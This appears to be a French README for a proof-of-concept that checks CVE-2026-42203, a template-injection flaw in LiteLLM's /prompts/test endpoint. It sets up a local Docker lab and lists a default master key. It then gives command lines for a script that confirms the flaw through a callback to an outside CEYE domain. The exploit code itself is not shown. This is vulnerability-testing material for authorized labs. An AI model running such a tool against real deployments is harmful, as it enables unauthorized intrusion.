
Preuve de concept d'exploitation pour CVE-2026-42203, une vulnérabilité SSTI dans le point de terminaison /prompts/test de LiteLLM, avec vérification de rappel CEYE pour les tests autorisés.
Ce document explique comment démarrer un environnement LiteLLM local et exécuter CVE-2026-42203.py pour vérifier la vulnérabilité SSTI /prompts/test.
Utilisez-le uniquement dans un environnement de laboratoire local pour lequel vous êtes autorisé. Ne pointez pas le script vers des cibles publiques non autorisées.
Accédez au répertoire Lab et démarrez LiteLLM, Postgres et Prometheus :
docker compose up -d
Vérifiez l'état des conteneurs :
docker compose ps
Confirmez que le service est accessible :
curl http://127.0.0.1:4000/
Master_Key par défaut : sk-master-test-key-1234
Transmettre via les paramètres de ligne de commande :
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Signification des variables :
LITELLM_API_KEY : clé d'accès LiteLLM, correspond généralement à LITELLM_MASTER_KEY dans le fichier .env pour l'environnement Docker local.CEYE_DOMAIN : votre sous-domaine CEYE, par exemple xxxxxx.ceye.io.CEYE_TOKEN : votre jeton API CEYE, utilisé pour interroger les enregistrements de callback.Exemple complet :
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--target http://127.0.0.1:4000 \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Paramètres clés :
--target : adresse du service LiteLLM, par défaut http://127.0.0.1:4000.--auth / --api-key : clé LiteLLM utilisée pour appeler /prompts/test.--ceye-domain : domaine de callback CEYE.--ceye-token : jeton API CEYE. Le script l'affichera automatiquement masqué lors de la sortie.--wait : nombre de secondes d'attente pour le callback CEYE, par défaut 20.--interval : intervalle en secondes pour interroger les enregistrements CEYE, par défaut 3.--timeout : délai d'expiration pour les requêtes HTTP, par défaut 10 secondes.--insecure : ajoutez ce paramètre si la cible utilise un certificat HTTPS auto-signé, cela désactive la vérification du certificat TLS.Si CEYE reçoit un callback, le script affichera :
[VULNERABLE] CEYE received the callback request.
Si aucun callback n'est reçu dans le délai d'attente, le script affichera :
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.